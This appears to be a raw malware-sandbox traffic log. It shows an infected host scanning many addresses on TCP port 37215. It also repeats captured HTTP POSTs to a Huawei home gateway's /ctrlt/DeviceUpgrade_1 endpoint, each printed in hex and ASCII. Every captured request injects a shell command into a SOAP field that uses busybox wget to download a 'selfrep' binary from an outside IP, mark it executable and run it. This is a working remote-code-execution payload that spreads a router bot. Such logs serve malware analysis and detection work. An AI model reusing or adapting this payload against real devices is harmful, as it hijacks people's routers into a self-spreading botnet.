Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.151.165.114:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.31.165.204:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.234.172.114:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.210.110.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.215.78.78:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.134.170.36:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 174.137.120.162:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.241.42.245:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.113.161.129:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.91.190.31:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.29.157.219:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.133.27.23:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.198.87.106:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 81.201.134.117:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.55.47.71:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.193.136.4:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.114.207.1:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.202.69.235:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.109.135.54:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 205.49.138.223:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.72.214.4:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.107.142.179:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.45.140.79:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.253.231.22:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.138.195.102:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.178.26.31:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.23.61.227:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 71.148.195.3:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.222.63.97:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 175.168.214.131:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.45.136.133:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 67.167.55.219:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.156.147.112:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.118.76.226:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.57.163.68:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.196.211.83:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.30.57.14:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.75.49.67:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.250.62.196:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.89.37.253:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 27.139.66.228:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.208.14.49:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.86.231.117:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 68.220.207.200:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 5.107.157.9:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.101.96.35:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.66.165.9:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 180.190.214.177:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.118.237.38:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.155.139.107:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.130.246.191:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.166.35.251:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 48.173.39.213:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.94.99.205:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.252.186.233:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.105.97.0:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 140.152.65.103:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.202.99.206:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.147.44.238:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.232.185.150:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.153.76.155:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.93.27.248:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.151.193.0:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.95.100.26:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.92.197.72:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 91.76.36.228:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.180.84.200:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.62.189.114:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.75.132.30:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.142.164.89:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 20.249.143.215:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 194.119.68.32:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 134.204.45.210:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.152.238.41:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.60.150.221:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 147.26.223.203:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.218.238.134:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.236.88.127:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.251.134.154:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.254.21.91:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 174.33.81.81:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.3.76.20:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.128.134.193:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.137.235.122:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.217.245.46:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.53.122.255:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.149.99.192:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.84.222.217:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.79.7.251:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 65.106.125.229:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 213.167.80.149:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.174.81.104:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 125.188.95.189:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 32.16.215.57:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.77.150.249:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 98.121.39.151:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 147.43.250.51:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.144.111.89:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.240.174.137:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.153.32.99:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 190.49.172.153:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 193.252.76.55:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.150.2.151:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.166.243.148:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.126.233.172:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.193.86.125:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.114.200.245:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.61.81.252:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.18.55.111:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.156.133.72:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 126.119.109.97:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.103.105.6:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 51.251.44.175:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 75.229.55.146:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.164.120.53:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.77.163.54:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.186.97.68:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.130.11.172:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 175.55.36.157:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.99.29.58:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 152.104.144.18:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.54.99.105:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 128.146.38.143:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.19.243.182:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.246.240.120:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 4.238.142.218:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 98.169.167.144:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 82.74.108.51:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 160.249.127.94:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.69.160.195:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.71.172.182:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.41.109.104:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.249.147.47:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 99.11.44.186:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.212.161.131:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.143.194.241:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 130.48.4.2:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 1.23.103.159:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 195.125.146.201:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 176.57.142.130:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.251.155.242:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.85.226.251:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.207.184.96:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.58.19.178:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.241.250.249:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.150.150.206:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.178.98.57:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.17.34.153:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.194.104.52:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 46.140.15.182:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.145.171.121:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 43.114.19.187:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.60.85.27:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 109.244.104.231:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.11.83.178:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.27.29.80:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.219.25.7:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.27.128.16:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.184.81.165:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.32.104.115:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.147.182.134:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 157.249.48.142:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.249.195.121:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.252.201.11:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.129.43.173:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.60.188.82:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.84.87.82:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.109.132.171:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 92.187.116.106:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.227.58.82:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.86.20.40:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.104.254.190:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.61.210.163:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.54.9.170:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 110.130.19.78:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 41.147.13.248:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 197.192.162.55:37215
Source: global traffic TCP traffic: 192.168.2.14:10999 -> 23.33.130.227:37215
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 38.45.200.163 -l /tmp/.ggs -r /yeye/selfrep.mips; /bin/busybox chmod +x /tmp/.ggs; /tmp/.ggs selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 468Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 33 38 2e 34 35 2e 32 30 30 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 67 67 73 20 2d 72 20 2f 79 65 79 65 2f 73 65 6c 66 72 65 70 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 67 67 73 3b 20 2f 74 6d 70 2f 2e 67 67 73 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 